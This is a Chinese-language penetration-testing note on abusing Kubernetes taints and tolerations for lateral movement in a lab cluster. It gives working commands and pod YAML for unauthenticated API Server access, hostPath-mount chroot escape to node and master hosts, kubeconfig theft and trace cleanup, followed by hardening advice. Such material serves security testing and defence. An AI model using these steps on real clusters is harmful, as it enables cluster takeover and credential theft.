在Kubernetes渗透测试中,攻击者常通过API Server未授权访问或kubeconfig泄露获得集群控制权,进而创建特权Pod逃逸至宿主机。但对于有污点(Taint)保护的Master节点(如NoSchedule),普通Pod无法被调度上去。此时需利用污点容忍(Toleration) 技术绕过限制,实现横向移动到Master节点。本笔记从实战视角,完整模拟从Web漏洞到接管集群的全过程,并提炼攻击链与防御措施。


1. 污点(Taint)与容忍(Toleration)原理

概念

说明

K8s示例

污点(Taint)

节点属性,拒绝某些Pod调度到该节点

kubectl taint nodes master node-role.kubernetes.io/master=:NoSchedule

容忍(Toleration)

Pod属性,允许其被调度到带有匹配污点的节点

YAML中定义tolerations字段,包含keyoperatoreffect

污点效果

NoSchedule(阻止新调度)、PreferNoSchedule(尽量不调度)、NoExecute(驱逐已有Pod)

攻击价值:普通Pod无法调度到Master节点,但攻击者可以在创建恶意Pod时添加tolerations,使其突破污点限制,直接运行在Master节点上并挂载宿主机根目录,从而实现横向移动和控制集群管理节点。


2. 实战模拟:从Web应用入侵到Master节点接管
2.1 环境说明

角色

IP

组件

污点

Master

192.168.0.138

API Server, Controller Manager, Scheduler

node-role.kubernetes.io/master:NoSchedule

Node1

192.168.0.139

Kubelet, Pods

Node2

192.168.0.140

Kubelet, Pods

目标:攻击者通过Web应用(Struts2漏洞)获得初始容器权限,最终控制Master节点。

2.2 攻击链全景

2.3 详细攻击步骤

步骤1:部署存在漏洞的Web应用

# 创建Struts2漏洞应用
kubectl create deployment struts --image=vulhub/struts2:2.3.28
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort

# 获取暴露端口
kubectl get pod,svc

步骤2:利用Web漏洞获得容器内Shell

使用Struts2漏洞利用工具(如struts2-pwn)执行命令,上传CDK工具进行信息收集。

步骤3:探测API Server未授权访问

# 尝试访问API Server(通常为K8s Service IP或Master IP)
curl -k https://192.168.0.138:6443/api/v1/namespaces/default/pods

# 若返回Unauthorized,可能需匿名用户绑定,可尝试使用CDK自动检测
./cdk_linux_amd64 kcurl anonymous get 'https://192.168.0.138:6443/api/v1/namespaces/default/pods'

步骤4:利用API Server未授权创建后门Pod

创建带hostPath挂载的Pod YAML(保存为escape.yaml):

apiVersion: v1
kind: Pod
metadata:
  name: escape-node
spec:
  containers:
  - name: attacker
    image: nginx:1.14.2
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

通过CDK发送POST请求创建Pod:

./cdk_linux_amd64 kcurl anonymous post 'https://192.168.0.138:6443/api/v1/namespaces/default/pods/' '$(cat escape.yaml | jq -R -s .)'

或使用kubectl(需配置--insecure-skip-tls-verify):

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a create -f escape.yaml

步骤5:逃逸至宿主机(Node节点)

# 进入Pod
./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true exec -it escape-node -- bash

# 挂载宿主机根目录(已在YAML中挂载至/host)
chroot /host /bin/bash
# 现在为Node宿主机的root权限

步骤6:检测Master污点并编写带容忍度的Pod

# 查看Master节点污点
kubectl describe nodes master | grep Taints
# 输出:Taints: node-role.kubernetes.io/master:NoSchedule

创建带有tolerations的Pod YAML(control-master.yaml):

apiVersion: v1
kind: Pod
metadata:
  name: control-master
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  containers:
  - name: attacker
    image: ubuntu:18.04
    command: ["/bin/sleep", "3650d"]
    volumeMounts:
    - name: master-root
      mountPath: /master
  volumes:
  - name: master-root
    hostPath:
      path: /
      type: Directory

步骤7:创建Pod并调度至Master节点

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true create -f control-master.yaml

# 验证Pod运行在master节点
./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true get pods -o wide
# NAME             NODE     ...
# control-master   master   ...

步骤8:进入Master容器并chroot逃逸

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true exec -it control-master -- bash

# 在容器内
chroot /master /bin/bash
# 现在为Master宿主机root权限,可读取/root/flag

步骤9:利用泄露的config文件横向移动(可选)

若在Node或Master上找到~/.kube/config,可直接使用该文件操作集群:

# 将config复制到本地
kubectl --kubeconfig=config --insecure-skip-tls-verify=true get nodes
kubectl --kubeconfig=config apply -f malicious-pod.yaml

3. 渗透测试实战Checklist(K8s污点横向移动)
1. 初始访问
   - [ ] 通过Web漏洞、API未授权等获得容器权限
   - [ ] 确认容器环境(cat /proc/1/cgroup | grep docker)

2. 探测API Server
   - [ ] 尝试访问默认K8s Service IP:`https://10.96.0.1:443/api/v1/namespaces/default/pods`
   - [ ] 若不可达,扫描集群节点IP的6443端口
   - [ ] 使用CDK匿名探测:`cdk kcurl anonymous get <api-url>`

3. 创建逃逸Pod
   - [ ] 编写hostPath挂载根目录的YAML
   - [ ] 通过API或kubectl创建Pod,逃逸至当前节点

4. 检测污点
   - [ ] 在逃逸后的Node上,使用kubectl describe nodes获取所有节点污点信息
   - [ ] 记录带有`NoSchedule`、`NoExecute`的Master节点

5. 构造容忍Pod横向移动
   - [ ] 添加tolerations字段,匹配master污点
   - [ ] 再次挂载宿主机根目录
   - [ ] 创建Pod,验证调度至master节点

6. 后渗透
   - [ ] chroot进入master根文件系统,获取flag、凭证
   - [ ] 窃取/root/.kube/config,实现持久化控制
   - [ ] 清理痕迹(删除创建的Pod)

4. 常见污点与对应容忍配置

污点Key

效果

容忍配置(YAML片段)

node-role.kubernetes.io/master

NoSchedule

tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule

node.kubernetes.io/not-ready

NoExecute

- key: node.kubernetes.io/not-ready operator: Exists effect: NoExecute

node.kubernetes.io/unreachable

NoExecute

同上

自定义污点

任意

- key: "custom-taint" operator: "Equal" value: "value" effect: "NoSchedule"

注意:若污点效果为NoExecute,需额外添加tolerationSeconds以保留Pod不被立即驱逐。


5. 防御建议(加固视角)

风险点

加固措施

API Server未授权

启用RBAC,禁止匿名用户绑定高权限角色;禁用insecure-port

容器内挂载宿主机目录

限制hostPath使用,采用PodSecurityPolicy或准入控制器禁止挂载根目录

污点容忍滥用

使用NodeRestriction准入控制器,限制Pod只能调度到特定节点;对敏感节点使用NoExecute并可设置容忍时长

kubeconfig泄露

定期轮换证书;使用短期令牌(如OIDC);监控Github等代码仓库泄露

运行时安全

部署Falco、Aqua等运行时安全工具,检测异常Pod创建、特权容器等行为


💡 总结

本实战模拟展示了从Web应用漏洞到完整控制K8s集群的典型攻击路径:

  1. 获得初始Pod权限探测API Server创建挂载宿主机的逃逸Pod获得Node权限
  2. 检测Master污点构造带容忍度的Pod调度至Master并挂载根目录获得Master控制权

关键突破点

  • API Server未授权访问(或匿名用户绑定高权限)
  • 允许创建特权/挂载hostPath的Pod
  • 未对污点容忍进行限制

掌握本笔记的攻击链与命令,可在云原生渗透测试中快速评估集群横向移动风险,并提供有效加固建议。

更多推荐